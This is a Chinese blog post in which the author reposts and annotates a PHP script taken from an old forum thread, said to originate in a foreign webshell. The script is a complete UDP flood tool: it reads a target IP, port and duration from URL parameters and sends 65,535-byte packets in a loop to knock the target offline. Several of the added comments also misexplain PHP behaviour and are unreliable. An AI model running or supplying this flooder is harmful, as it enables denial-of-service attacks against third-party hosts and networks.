声明:这篇文章中的代码是我Copy的,原作者:小Dの马甲 原文章地址:http://bbs.blackbap.org/thread-2233-1-5.html
原作者是2011年写的这篇文章,那么为什么我现在才复制过来呢?因为当时我看到这篇文章的时候完全看不懂啊!不过感觉好高端,以至于给我留下了很深的印象,过了四五年都还记得......
这段时间正在学习PHP,偶然间又遇见了,所以拿来写写注释。
据原作者说这代码也不是他本人写的,具体谁写的他也不清楚,因为这段代码是他从一个国外的webshell上面搞到的。
废话不说了,贴出注释过的代码:
<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
//设置允许脚本运行的时间,单位为秒;如果设置为0(零),没有时间方面的限制。
set_time_limit(0);
//设置客户端断开连接时是否中断脚本的执行,当设置为FALSE时表示浏览器断开后脚本不再继续执行。默认为FALSE
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
//返回当前的 Unix 时间戳
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
//for循环创建一个长度为65535的字符串,内容为“X”,65535一般是内存地址最大值:1×1111111
for($i=0;$i<65535;$i++){
//字符串拼接
$out .= "X";
}
//无限循环
while(1){
$packets++;
//直到执行时间到达所设置的时间($exec_time)就终止
if(time() > $max_time){
break;
}
//执行fsockopen()函数。打开网络的 Socket 链接,resource fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
//向打开的链接中写入数据($out-65535个"X")
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>